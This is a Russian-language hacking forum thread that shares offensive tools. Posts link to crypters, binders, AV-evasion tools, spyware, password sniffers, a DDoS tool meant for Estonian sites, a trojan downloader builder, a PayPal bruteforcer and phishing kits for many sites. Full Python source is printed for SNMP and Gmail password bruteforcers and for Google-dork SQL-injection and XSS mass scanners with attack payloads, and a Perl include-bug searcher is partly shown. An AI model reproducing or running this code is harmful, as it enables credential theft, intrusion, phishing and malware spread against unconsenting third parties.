Хак Soft, Программы Опции

[Creeping Death]

ВНИМАНИЕ!

в данной разрешены посты, с просьбой о нахождении той или иной программы, НО:
1)должно быть четко и "по-русски" описано, что конкретно надо
2)под какую платформу программа нужна.

после выполнения заявки, одним из форумчан, посты с просьбами будут удаляться.

заявки по развитию, улучшению данной темы, пожалуйста, в ПМ

Код

Арсенал хакера.
Так и представляются стойки с копьями мечами,манекены с надетыми доспехами.. А в уголках пылятся метательные кинжалы и колчаны.Ведь есть копьё и тыкай ним пока не найдёшь щель в доспехах..Но пока не умер хранитель арсенал никогда не будет пустовать.И все новые и новые последователи хранителя приносят снаряжение и бережно раскладывают его по полкам уходящим в непроглядный мрак Сети. (c)bdrFsg

[Creeping Death]

Undetector By YaMaNe
download

Slh 4.0.1
download

PHPBB RFI Scanner [Privat]
download

[Creeping Death]

Z-Dem0n 1.26

download

J Multi Binder 1.0
download

[Creeping Death]

AntiDote v1.4

download

The Art Of Deception - Binder [New Stub]

download

Super Binder by "PrinceAli"

download

SkD Undetectabler Pro 2.0 - Crypter

download

[Creeping Death]

В этом блоке содержится скрытый текст, который вы сможете увидеть после того, как наберете 100 сообщений.

[Creeping Death]

Vulnerabilityes Scanners & Exploiters Pack v1.10

+Absinthe 1.3.1 Windows
+AnonFTP Anonymous Scanner
+Apache Scanner
+CGI Scanner
+DarkScanner 2.0
+FTP-IIS Fx Scanner
+HScan 1.20
+HTTP Server Detector
+ISS Internet Scanner v6.2.1
+JAAScoisX-Code RFI Code Exec Scanner
+N-Stealth Security Scanner v3.7 Built 67
+RFI T00l
+WebCheck
+Win32 x86 RFI Vuln Scanner
+X-Scan 3.3
+XSS LFI and File Discolure Scanner
+Zehir Exploit Scanner
+NetCat
+NMap 4.20

::Port Scanner::

+SuperScan 3.00
+SuperScan 4

::Other Tools::

+QuickSpoof
+PuTTy 0.60

download
Thx to iNs @ + D4RK-R3V-T34M +

[Creeping Death]

Themida v1.8.5.5

download

Yahoo!Messenger Monitor Sniffer v3.0

download

Ace Password Sniffer v1.3

The most powerful and effetive password sniffer. Ace Password Sniffer can listen on your LAN and enable network administrators or parents to capture passwords of any network user. Currently Ace Password Sniffer can monitor and capture passwords through FTP, POP3, HTTP, SMTP, Telnet, including some web mail password.

download

SNMP Bruteforce

CODE

#!usr/bin/python
#Uses nmap to check if snmp port is open then uses snmpwalk to try and bruteforce
#the community name.

#Required: nmap and snmpwalk

#Changelog: added iprange, single scans and threading for random scans
#Changelog: added the ability to add your own wordlist, it will add to
#the ones given and erase the duplicates

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import time, StringIO, commands, sys, re, threading, sets

def timer():
now = time.localtime(time.time())
return time.asctime(now)

def title():
print "\n\t d3hydr8[at]gmail[dot]com snmpBruteForcer v1.2"
print "\t--------------------------------------------------\n"

def scan(option):

nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+option+' -p 161 | grep open -B 3')[1]).read()
if re.search("command not found",nmap.lower()):
print "\n[-] nmap not installed!!!\n"
sys.exit(1)
else:
ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", nmap)
if ipaddr:
return ipaddr

def brute(ip):
print "\n[+] Attempting BruteForce:",ip
try:
for n in names:
response = StringIO.StringIO(commands.getstatusoutput('snmpwalk '+ip+" "+n)[1]).readlines()
if re.search("command not found",response[0].lower()):
print "\n[-] snmpwalk not installed!!!\n"
sys.exit(1)
else:
if verbose ==1:
print "\t{- Trying:",n
if len(response) > 1:
print "\n\tSuccess:",ip,"Community Name:",n
print "\n\tTry: snmpwalk",ip,n,"\n"
except(), msg:
#print "Error:",msg
pass

class Worker(threading.Thread):
def run(self):
ipaddr = scan("-iR 1")
if ipaddr != None:
for ip in ipaddr:
brute(ip)

if len(sys.argv) <= 2:
title()
print "Usage: ./snmp_random.py <option> \n"
print "Example: ./snmpbrute.py -iprange 192.168.1-100.1-255 -verbose\n"
print "[options]"
print " -s/single <ip>: Bruteforce single ip"
print " -i/-iprange <ip_range>: Scans ip range for snmp to brute force"
print " -r/-random <how many to scan>: Will scan random ip's for snmp to brute force"
print " -l/-list <wordlist file>: Add your own wordlist"
print " -v/-verbose : Verbose Mode\n"
sys.exit(1)

#Add more community names here.
names = ["1234","2read","4changes","CISCO","IBM","OrigEquipMfr","SNMP","SUN","access","admin","agent","all","cisco"
,"community","default","enable","field","guest","hello","ibm","manager","mngt","monitor","netman","network"
,"none","openview","pass","password","passwd","private","proxy","public","read","read-only","read-write"
,"root","router","secret","security","snmp","snmpd","solaris","sun","switch","system","tech","test"
,"world","write"]

for arg in sys.argv[1:]:
if arg.lower() == "-s" or arg.lower() == "-single":
ipaddr = sys.argv[int(sys.argv[1:].index(arg))+2]
mode = "Single IP"
if arg.lower() == "-i" or arg.lower() == "-iprange":
iprange = sys.argv[int(sys.argv[1:].index(arg))+2]
mode = "Ip-Range"
if arg.lower() == "-r" or arg.lower() == "-random":
total = sys.argv[int(sys.argv[1:].index(arg))+2]
mode = "Random"
if arg.lower() == "-l" or arg.lower() == "-list":
wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
title()
try:
print "[+] Wordlist:",wordlist,"loading"
words = open(wordlist, "r").readlines()
print "[+] Loaded:",len(words),"names"
names = list(sets.Set(words+names))
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)
except(NameError):
pass

print "[+] Mode:",mode
if mode == "Random":
if total.isdigit() == False:
print "\n[!] How many ips to scan: must be a number\n"
sys.exit(1)
else:
print "[+] Total:",total
if mode == "Ip-Range":
print "[+] Range:",iprange
try:
if verbose ==1:
print "[+] Verbose Mode On"
except(NameError):
verbose = 0
print "[-] Verbose Mode Off"
print "[+] Names Loaded:",len(names)
print "[+] Started:",timer(),"\n"

if mode == "Random":
for i in range(int(total)):
print "[+] Scanning:",i+1,"of",total
work = Worker()
work.start()
time.sleep(1)
if mode == "Single IP":
brute(ipaddr)
if mode == "Ip-Range":
print "[+] Scanning:",iprange
ips = scan(iprange)
if ips != None:
print "[+] Found:",len(ips)
for ip in ips:
brute(ip)
else:
print "\n[!] No SNMP Open"

print "\n[-] Done -",timer(),"\n"

[StuDY]

OverSpy v2.5 + Key

Шпион захватывает все сетевые сеансы связи, посещенные вебсайты,
пароли, все электронные почты,- отправленные и полученные, все
напечатанные нажатия клавиши, все компьютерные операции и открытые
документы, берёт скриншоты каждые несколько минут и отправляет
сообщения вам по электронной почте...

Размер :3.8 Mb

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

[bdrFsg]

Blue's Port Scanner



BluesPortScan.zip
Gui-Version v5.0.2 Build #1265

CBPS.exe Command line-Version v4.2 #272
Windows9x/ME/NT/2000/XP

A good port scanner is just one of the basic tools anyone who is
seriously interested in the internet needs.
The BluesPortScan is, i think, the fastest scanner for 32Bit windows which you can found in the net. It scans local 5000 ports in 8sec. on my 2k (P3-866) machine. If you are using Win9x/ME it's a little bit slower... The new version 5 has now features like Port list-scans, AutoCompletion when entering known, existing host names or ips and a big big list of typical port assignments. And of course, it's a little bit more stable, especially under Win9x/Me although these OSs are definitively not the operating systems of choice for the using this program.

Хороший порт-сканер що є однією з базових утіліт для кожного,хто справді зацікавлений в потребах Інтернету.
Я думаю,що це найшвидший сканер портів для 32-розрядних версій Windows,що ви зможете знайти в Інтернеті.Він сканує 5000 локальних портів за 8 секунд на моїй машині(2k (P3-866).Щоправда,якщо Ви використовуєте Win9x/MЕ,то це буде дещо повільніше...Нова,п'ята версія має зараз має такі можливості як сканування портів за певним списком,Автозавершення якщо введені відомі,існуючі імена хостів і справді великий список типових програм,що займають порти.І звичайно,ця версія дещо стабільніша,особливо під Win9x/Me,незважаючи на те що ці ОС безперечно не є тими операційними систеиами які є хорошим вибором для використання даної програми.

Рекомендую!

[ter10n]

Релизик от ZyklonTeam



DDoS Attacker

DDoS Attacker многопоточный, поддержка Socks 4, Socks 5.
Написан на Delphi





Офсайт
[Download/Скачать]
пометка авторов: Special for attacking fuc*ing Estonian sites.

[ter10n]

Builder trojan downloader v1.2 beta public



Даунлоадер - загружает на зараженный компьютер файл (например ваш трой) с url-a указанного в билдере.

Принцип работы:
После запуска сливает файл с url-a и сохраняет на зараженый компьютер
в директорию заданную билдером (например в папку винды), и запускает ваш файл.
После запуска вашего файла удаляет свое тело.

Это публичная версия, толком не тестировал, используйте на свой страх и риск.

Релиз от: 04.07.07
Автор: os1r1s
Офсайт
[Download/Скачать]

[666Player555_*]

WebProxy
http://rapidshare.com/files/51749387/sh0x-webproxy.rar
PW: Sh0x

PHP MSN
http://rapidshare.com/files/51749150/sh0x-msn.rar
PW: Sh0x

[StuDY]

PayPal Bruteforcer ! v1.0b1

В этом блоке содержится скрытый текст, который вы сможете увидеть после регистрации.
Зарегистрироваться.

Прикрепленные файлы

 Paypal.rar ( 170,7 килобайт ) Кол-во скачиваний: 130

 

[StuDY]

DSJoiner v1.3 от Dr.Samuil

Бывшая приватная версия DSJoiner'a v1.3 от Dr.Samuil'a
Сорцы прилагаются, на момент паблик-релиза не палится ни одним антивирусом.

Скачать

[Creeping Death]

Gmail BruteForce

CODE

#!usr/bin/python

#Gmail Pop3 Brute Forcer

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "\t Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
sys.exit(1)
server = "pop.gmail.com"
success = []

try:
users = open(sys.argv[1], "r").readlines()
except(IOError):
print "[-] Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[2], "r").readlines()
except(IOError):
print "[-] Error: Check your wordlist path\n"
sys.exit(1)

try:
pop = poplib.POP3_SSL(server, 995)
welcome = pop.getwelcome()
pop.quit()
except (poplib.error_proto):
welcome = "No Response"
pass

print "\n\t d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
print "\n[-] Reloading Wordlist - Changing User\n"
reloader()
value = random.sample(words, 1)
users.remove(users[0])

lock.release()
if len(users) ==1:
return value[0][:-1], users[0]
else:
return value[0][:-1], users[0][:-1]

class Worker(threading.Thread):

def run(self):
value, user = getword()

try:
print "-"*30
print "[+] User:",user,"Password:",value
pop = poplib.POP3_SSL(server, 995)
pop.user(user)
pop.pass_(value)
print "\t\t\n\nLogin successful:",user, value
print "\t\tMail:",pop.stat()[0],"emails"
print "\t\tSize:",pop.stat()[1],"bytes\n\n"
success.append(user)
success.append(value)
success.append(pop.stat()[0])
success.append(pop.stat()[1])
pop.quit()
except (poplib.error_proto), msg:
#print "An error occurred:", msg
pass

for i in range(len(words)*len(users)):
work = Worker()
work.start()
time.sleep(1)
if len(success) >=1:
print "\n\n[+] Login successful:",success[0], success[1]
print "\t[+] Mail:",success[2],"emails"
print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done\n"

Inguma (Pentesting Toolkit)

Inguma is a penetration testing toolkit entirely written in python. The framework includes modules to discover hosts, gather information about, fuzz targets, brute force user names and passwords and, of course, exploits for many products.

download

SQL Scanner v1.0

CODE

#!/usr/bin/python
#SQL Scanner that will collect hosts using a google query. Will add the
#injection code to each hosts and search for md5 in the source.

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import sys, urllib2, re, sets, random, time, socket, httplib

def title():
print "\n\t d3hydr8[at]gmail[dot]com SQL Scanner v1.0"
print "\t-----------------------------------------------"

def usage():
title()
print "\n Usage: python SQLscan.py <options>\n"
print "\n Example: python SQLscan.py -g inurl:'.gov' 200 -s '/index.php?offset=-1/**/UNION/**/SELECT/**/1,2,concat(password)/**/FROM/**/TABLE/*' -write sql_found.txt -v\n"
print "\t[options]"
print "\t -g/-google <query> <num of hosts> : Searches google for hosts"
print "\t -s/-sql <file+injection code> : Vuln. file plux sql injection"
print "\t -w/-write <file> : Writes potential SQL found to file"
print "\t -v/-verbose : Verbose Mode\n"

def StripTags(text):
finished = 0
while not finished:
finished = 1
start = text.find("<")
if start >= 0:
stop = text[start:].find(">")
if stop >= 0:
text = text[:start] + text[start+stop+1:]
finished = 0
return text

def timer():
now = time.localtime(time.time())
return time.asctime(now)

def geturls(query):

counter = 10
urls = []
while counter < int(num):
url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
opener = urllib2.build_opener(url)
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
data = opener.open(url).read()
hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
#Lets add sites found to a list if not already or a google site.
#We don't want to upset the people that got our list for us.
for x in hosts:
if x.find('www') != -1:
x = x[x.find('www'):]
if x not in urls and re.search("google", x) == None:
urls.append(x)
counter += 10
return urls

def tester(victim):

if victim[:7] != "http://":
victim = "http://"+victim.rsplit("/",1)[0]+sql
if verbose ==1:
print "Testing:",victim
try:
source = urllib2.urlopen(victim.rsplit("/",1)[0]+sql, "80").read()
md5s = re.findall("[a-f0-9]"*32,source)
if len(md5s) >= 1:
md5s = list(sets.Set(md5s))
print "\n[!] MD5 Found:",''.join([str(i) for i in victim.split("/",3)[:3]])[5:]
for md5 in md5s:
print "\t[",md5,"]\n"
found_sql.append(victim)
except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine):
pass
except(KeyboardInterrupt):
print "\n[-] Cancelled -",timer(),"\n"
sys.exit(1)
except():
pass

if len(sys.argv) < 6:
usage()
sys.exit(1)

for arg in sys.argv[1:]:
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
if arg.lower() == "-w" or arg.lower() == "-write":
txt = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-s" or arg.lower() == "-sql":
sql = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-g" or arg.lower() == "-google":
query = sys.argv[int(sys.argv[1:].index(arg))+2]
num = sys.argv[int(sys.argv[1:].index(arg))+3]
title()
socket.setdefaulttimeout(10)
found_sql = []
count = 0
print "\n[+] SQL_scan Loaded"
try:
if verbose ==1:
print "[+] Verbose Mode On"
except(NameError):
verbose = 0
print "[-] Verbose Mode Off"
if sql[:1] != "/":
sql = "/"+sql
print "[+] SQL:",sql
try:
if txt:
print "[+] File:",txt
except(NameError):
txt = None
pass
try:
if num.isdigit() == False:
print "\n[-] Argument [",num,"] must be a number.\n"
sys.exit(1)
else:
if int(num) <= 10:
print "\n[-] Argument [",num,"] must be greater than 10.\n"
sys.exit(1)
except(IndexError):
print "\n[-] Need number of hosts to collect.\n"
sys.exit(1)
query = re.sub("\s","+",query)
print "[+] Query:",query
print "[+] Number:",num
print "[+] Querying Google..."
urls = geturls(query)
print "[+] Collected:",len(urls),"hosts"
print "[+] Started:",timer()
print "[+] Scanning hosts..."
print "\n[-] Cancel: Press Ctrl-C"
for url in urls:
tester(url)
time.sleep(3)
print "-"*65
print "\n\n[+] Potential SQL found:",len(found_sql),"\n"
time.sleep(3)
if txt != None and len(found_sql) >=1:
sql_file = open(txt, "a")
sql_file.writelines("\n\td3hydr8[at]gmail[dot]com SQL Scanner v1.0\n")
sql_file.writelines("\t------------------------------------------\n\n")
print "[+] Writing Data:",txt
else:
print "[-] No data written to disk"
for k in found_sql:
count+=1
if txt != None:
sql_file.writelines("["+str(count)+"] "+k+"\n")
print "\n["+str(count)+"]",k
print "\n[-] Done -",timer(),"\n"

XSS Scanner ver 1.3

CODE

#!/usr/bin/python

#XSS Scanner that can find hosts using a google query or search one site.

#If XSS is found it attempts to collect email addresses to further your attack

#or warn the target of the flaw. When the scan is complete

#it will print out the XSS's found and or write to file, it will find false positives

#so manually check before getting to excited. It also has verbose mode and

#you can change the alert pop-up message, check options!!

#

##Changelog v1.1: added options, verbose, write to file, change alert

#Changelog v1.2: added more xss payloads, an exception, better syntax, more runtime feedback

#Changelog v1.3: added https support, more xss payloads, the ability to change port, fixed #some user input problems, exiting without error messages with Ctrl-C (KeyboardInterrupt)

#

#d3hydr8[at]gmail[dot]com



import sys, urllib2, re, sets, random, httplib, time, socket



def title():

print "nt d3hydr8[at]gmail[dot]com XSS Scanner v1.3"

print "t-----------------------------------------------"



def usage():

title()

print "n Usage: python XSSscan.py <option>n"

print "n Example: python XSSscan.py -g inurl:'.gov' 200 -a 'XSS h4ck3d' -write xxs_found.txt -vn"

print "t[options]"

print "t -g/-google <query> <num of hosts> : Searches google for hosts"

print "t -s/-site <website> <port>: Searches just that site, (default port 80)"

print "t -a/-alert <alert message> : Change the alert pop-up message"

print "t -w/-write <file> : Writes potential XSS found to file"

print "t -v/-verbose : Verbose Moden"



def StripTags(text):

finished = 0

while not finished:

finished = 1

start = text.find("<")

if start >= 0:

stop = text[start:].find(">")

if stop >= 0:

text = text[:start] + text[start+stop+1:]

finished = 0

return text



def timer():

now = time.localtime(time.time())

return time.asctime(now)



def geturls(query):



counter = 10

urls = []



while counter < int(sys.argv[3]):

url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'

opener = urllib2.build_opener(url)

opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]

data = opener.open(url).read()

hosts = re.findall(('w+.[w.-/]*.w+'),StripTags(data))

#Lets add sites found to a list if not already or a google site.

#We don't want to upset the people that got our list for us.

for x in hosts:

if x.find('www') != -1:

x = x[x.find('www'):]

if x not in urls and re.search("google", x) == None:

urls.append(x)

counter += 10

return urls



def getemails(site):



try:

if site.split("/",1)[0] not in done:

print "t[+] Collecting Emails:",site.split("/",1)[0]

webpage = urllib2.urlopen(proto+"://"+site.split("/",1)[0], port).read()

emails = re.findall('[w.-]+@[w.-]+.www', webpage)

done.append(site.split("/",1)[0])

if emails:

return emails

except(KeyboardInterrupt):

print "n[-] Cancelled -",timer(),"n"

sys.exit(1)

except(IndexError):

pass



def getvar(site):



names = []

actions = []

print "n","-"*45

print "[+] Searching:",site

try:

webpage = urllib2.urlopen(proto+"://"+site, port).read()

emails = re.findall('[w.-]+@[w.-]+.www', webpage)

var = re.findall("?[w.-/]*=",webpage)

if len(var) >=1:

var = list(sets.Set(var))

found_action = re.findall("action="[w.-/]*"", webpage.lower())

found_action = list(sets.Set(found_action))

if len(found_action) >= 1:

for a in found_action:

a = a.split('"',2)[1]

try:

if a[0] != "/":

a = "/"+a

except(IndexError):

pass

actions.append(a)

found_names = re.findall("name="[w.-/]*"", webpage.lower())

found_names = list(sets.Set(found_names))

for n in found_names:

names.append(n.split('"',2)[1])

print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)

print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))*
len(xss_payloads)

if len(var) >= 1:

for v in var:

if site.count("/") >= 2:

for x in xrange(site.count("/")):

for xss in xss_payloads:

tester(site.rsplit('/',x+1)[0]+"/"+v+xss)

for xss in xss_payloads:

tester(site+"/"+v+xss)



if len(names) >= 1:

for n in names:

if site.count("/") >= 2:

for x in xrange(site.count("/")):

for xss in xss_payloads:

tester(site.rsplit('/',x+1)[0]+"/"+"?"+n+"="+xss)

for xss in xss_payloads:

tester(site+"/"+"?"+n+"="+xss)



if len(actions) != 0 and len(names) >= 1:

for a in actions:

for n in names:

if site.count("/") >= 2:

for x in xrange(site.count("/")):

for xss in xss_payloads:

tester(site.rsplit('/',x+1)[0]+a+"?"+n+"="+xss)

#tester(site.split("/")[0]+a+"?"+n+"="+xss)



if len(actions) != 0 and len(var) >= 1:

for a in actions:

for v in var:

if site.count("/") >= 2:

for x in xrange(site.count("/")):

for xss in xss_payloads:

tester(site.rsplit('/',x+1)[0]+a+v+xss)

else:

for xss in xss_payloads:

tester(site.split("/")[0]+a+v+xss)

if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":

urls.remove(site)



except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror):

if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":

urls.remove(site)

pass

except(KeyboardInterrupt):

print "n[-] Cancelled -",timer(),"n"

sys.exit(1)



def tester(target):



if verbose ==1:

if message != "":

print "Target:",target.replace(alert ,message)

else:

print "Target:",target



try:

source = urllib2.urlopen(proto+"://"+target, port).read()

h = httplib.HTTPConnection(target.split('/')[0], int(port))

try:

h.request("GET", "/"+target.split('/',1)[1])

except(IndexError):

h.request("GET", "/")

r1 = h.getresponse()

if verbose ==1:

print "t[+] Response:",r1.status, r1.reason

if re.search(alert.replace("%2D","-"), source) != None and r1.status not in range(303, 418):

if target not in found_xss:

if message != "":

print "n[!] XSS:", target.replace(alert ,message)

else:

print "n[!] XSS:", target

print "t[+] Response:",r1.status, r1.reason

emails = getemails(target)

if emails:

print "t[+] Email:",len(emails),"addressesn"

found_xss.setdefault(target, list(sets.Set(emails)))

else:

found_xss[target] = "None"

except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine, httplib.IncompleteRead, httplib.InvalidURL):

pass

except(KeyboardInterrupt):

print "n[-] Cancelled -",timer(),"n"

sys.exit(1)

except():

pass



if len(sys.argv) <= 2:

usage()

sys.exit(1)



for arg in sys.argv[1:]:

if arg.lower() == "-v" or arg.lower() == "-verbose":

verbose = 1

if arg.lower() == "-w" or arg.lower() == "-write":

txt = sys.argv[int(sys.argv[1:].index(arg))+2]

if arg.lower() == "-a" or arg.lower() == "-alert":

message = re.sub("s","%2D",sys.argv[int(sys.argv[1:].index(arg))+2])



title()

socket.setdefaulttimeout(3)

found_xss = {}

done = []

count = 0

proto = "http"

alert = "D3HYDR8%2D0wNz%2DY0U"

print "n[+] XSS_scan Loaded"

try:

if verbose ==1:

print "[+] Verbose Mode On"

except(NameError):

verbose = 0

print "[-] Verbose Mode Off"

try:

if message:

print "[+] Alert:",message

except(NameError):

print "[+] Alert:",alert

message = ""

pass



xss_payloads = ["%22%3E%3Cscript%3Ealert%28%27"+alert+"%27%29%3C%2Fscript%3E",

"%22%3E<IMG SRC="java script:alert(%27"+alert+"%27);">",

"%22%3E<script>alert(String.fromCharCode(68,51,72,89,68,82,56,45,48,119,78,122,45,89,48,85))
;</script>",

"'';!--"<%27"+alert+"%27>=&{()}",

"';alert(0)//';alert(1)//%22;alert(2)//%22;alert(3)//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(%27"+alert+"%27)%3C/SCRIPT%3E=&{}%22);}alert(6);function",

"</textarea><script>alert(%27"+alert+"%27)</script>"]

try:

if txt:

print "[+] File:",txt

except(NameError):

txt = None

pass

print "[+] XSS Payloads:",len(xss_payloads)

if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":

try:

if sys.argv[3].isdigit() == False:

print "n[-] Argument [",sys.argv[3],"] must be a number.n"

sys.exit(1)

else:

if int(sys.argv[3]) <= 10:

print "n[-] Argument [",sys.argv[3],"] must be greater than 10.n"

sys.exit(1)

except(IndexError):

print "n[-] Need number of hosts to collect.n"

sys.exit(1)

query = re.sub("s","+",sys.argv[2])

port = "80"

print "[+] Query:",query

print "[+] Querying Google..."

urls = geturls(query)

print "[+] Collected:",len(urls),"hosts"

print "[+] Started:",timer()

print "n[-] Cancel: Press Ctrl-C"

time.sleep(3)

while len(urls) > 0:

print "-"*45

print "n[-] Length:",len(urls),"remain"

getvar(random.choice(urls))

if sys.argv[1].lower() == "-s" or sys.argv[1].lower() == "-site":

site = sys.argv[2]

try:

if sys.argv[3].isdigit() == False:

port = "80"

else:

port = sys.argv[3]

except(IndexError):

port = "80"

print "[+] Site:",site

print "[+] Port:",port

if site[:7] == "http://":

site = site.replace("http://","")

if site[:8] == "https://":

proto = "https"

if port == "80":

print "[!] Using port 80 with https? (443)"

site = site.replace("https://","")

print "[+] Started:",timer()

print "n[-] Cancel: Press Ctrl-C"

time.sleep(4)

getvar(site)



print "-"*65

print "nn[+] Potential XSS found:",len(found_xss),"n"

time.sleep(3)

if txt != None and len(found_xss) >=1:

xss_file = open(txt, "a")

xss_file.writelines("ntd3hydr8[at]gmail[dot]com XSS Scanner v1.3n")

xss_file.writelines("t------------------------------------------nn")

print "[+] Writing Data:",txt

else:

print "[-] No data written to disk"

for k in found_xss.keys():

count+=1

if txt != None:

if message != "":

xss_file.writelines("["+str(count)+"] "+k.replace(alert ,message)+"n")

else:

xss_file.writelines("["+str(count)+"] "+k+"n")

if message != "":

print "n["+str(count)+"]",k.replace(alert ,message)

else:

print "n["+str(count)+"]",k

addrs = found_xss[k]

if addrs != "None":

print "t[+] Email addresses:"

for addr in addrs:

if txt != None:

xss_file.writelines("tEmail: "+addr+"n")

print "t -",addr

print "n[-] Done -",timer(),"n"

SQL Injection Pentesting TooL

--- [Added]
- Work with injection through GET,POST,GET(inside Cookie),POST(inside Cookie)
- Terminal for HTTP RAW (analogue of InetHack)
- Upload file to server through SQL
- Reading every available for reading file on the server:)
- BackConnect from DB = MsSQL
- Dump DB, if type of DB is MsSQL
- Possibility of a Basic authentication
- Possible Determine of the fields of a SELECT query using the ORDER BY,GROUP BY,UNION SELECT
- Possible replacements comments to analog when filtering
- Possible replacements spaces to analog when filtering
- Possibility of autodetection of KeyWord
- Possibility of autodetection of type DB
- Ability to connect to the servers at random port
- Ability to connect to the proxy-servers to a random port
--- [Fixed]
- A accurate definition of quantity the fields that supports printing values
- A accurate with proxy-servers

download

[Creeping Death]

Root@Shell
download

[Creeping Death]

пошел фишинг...

Adult Friend Finder

Код

http://rapidshare.com/files/48422910/Adult_Friend_Finder.rar

Amazon

Код

http://rapidshare.com/files/48422911/Amazon.rar

Bebo

Код

http://rapidshare.com/files/48422912/Bebo.rar

Break

Код

http://rapidshare.com/files/48422913/Break.rar

DeviantArt

Код

http://rapidshare.com/files/48422914/DeviantArt.rar

FlickR

Код

http://rapidshare.com/files/48422915/FlickR.rar

Freewebs

Код

http://rapidshare.com/files/48422916/FreeWebs.rar

Geocities

Код

http://rapidshare.com/files/48422917/GeoCities.rar

LiveJournal

Код

http://rapidshare.com/files/48422918/LiveJournal.rar

Playstation Underground

Код

http://rapidshare.com/files/48422919/Playstation_Underground.rar

PornoTube

Код

http://rapidshare.com/files/48422500/PornoTube.rar

SendSpace

Код

http://rapidshare.com/files/48422501/SendSpace.rar

SourceForge

Код

http://rapidshare.com/files/48422502/SourceForge.rar

Tagged

Код

http://rapidshare.com/files/48422503/Tagged.rar

Tripod - Lycos

Код

http://rapidshare.com/files/48422504/Tripod_-_Lycos.rar

Veoh

Код

http://rapidshare.com/files/48422505/Veoh.rar

WWE

Код

http://rapidshare.com/files/48422506/WWE.rar

Xanga

Код

http://rapidshare.com/files/48422507/Xanga.rar

Xtube

Код

http://rapidshare.com/files/48422508/XTube.rar

[Creeping Death]

File Bomber


::Disguised as a RapidShare account hacker

::This creates a bunch of copies of
the "readme.txt"
SO the bigger the "readme.txt" file is
the more space it shall take up

::It creates a file on how to "uninstall"
Rapid H4xid
Because this is just a joke virus
(And as of now, i do not know how to remove)
(So do not run on your computer)
(the subdomain http://howtoremove.dave.hohs.net will be used for the removal)
-the "no remove" files do not have this

::Creates 100,000 copies of "readme.txt" which takes up
-195 GB
-200000 MB
-204800000 KB
-209715200000 Bytes
Of Space

::You can only close it
if you cancel the process
in task manager


::Adds to startup on
-Vista
-XP
-WinNT
-Win 9x

::Works on operating systems
-Windows

::Creates the files
but hidden! So they cant delete
the files. it will just take up a lot
of space with them not knowing

::The files are called
"PORNO MOVIE#(insert number here).mov

::I tested myself. It works
It creates about 2,0000+ files in 10 minutes
and doesnt stop til it reachers 100,000 files

::Hide from task manager


RapidH4x1d #1- Is not visible. Does not show in taskbar (also makes a "how to remove" file)

RapidH4x1d #1 -Is not visible. Does not show in taskbar (no removal file)

RapidH4x1d #2 (Shows The Program- Shows in Taskbar)-Creates "How To Remove File"

RapidH4x1d #2 (Shows In Taskbar- Shows In Taskbar)- Does not create "How To Remove" file

[Creeping Death]

STNC 0day tool google-php-include-bugs searcher v 0.8

CODE

#! /usr/bin/perl

# ================================================================ #
#

[/indent]

google-php-include-bugs searcher v 0.8

#
#

#
#

#
#

#
#

ATTENTION. THIS SCRIPT IS PRIVATE.

#
#

.NOT FOR SALE.

#
#

#
# Usage: perl script.pl --log=<log-file> --url=<test-script-url> #
# Test script:

#
# <?php

#
# error_reporting(0);

#
# $s = md5("STNC");

#
# $code = eregi("windows", php_uname())+

#
# 2*eregi("apache", getenv("SERVER_SOFTWARE"))+

#
# 4*ini_get('safe_mode'); echo $s."[$code]".$s;

#
# ?>

#
# ================================================================ #

use IO::Socket;

@inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",

"inc", "incl", "include", "read", "write", "data", "code", "fname",
"filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
"seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
"corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
"conteudo");

@zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",

"info", "name", "aero", "biz", "edu", "ws", "in",
"cn", "us", "be", "it", "cc", "tv", "ru", "su",
"jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
"be", "fi", "gov");

@ftypes = ("php", "php3");

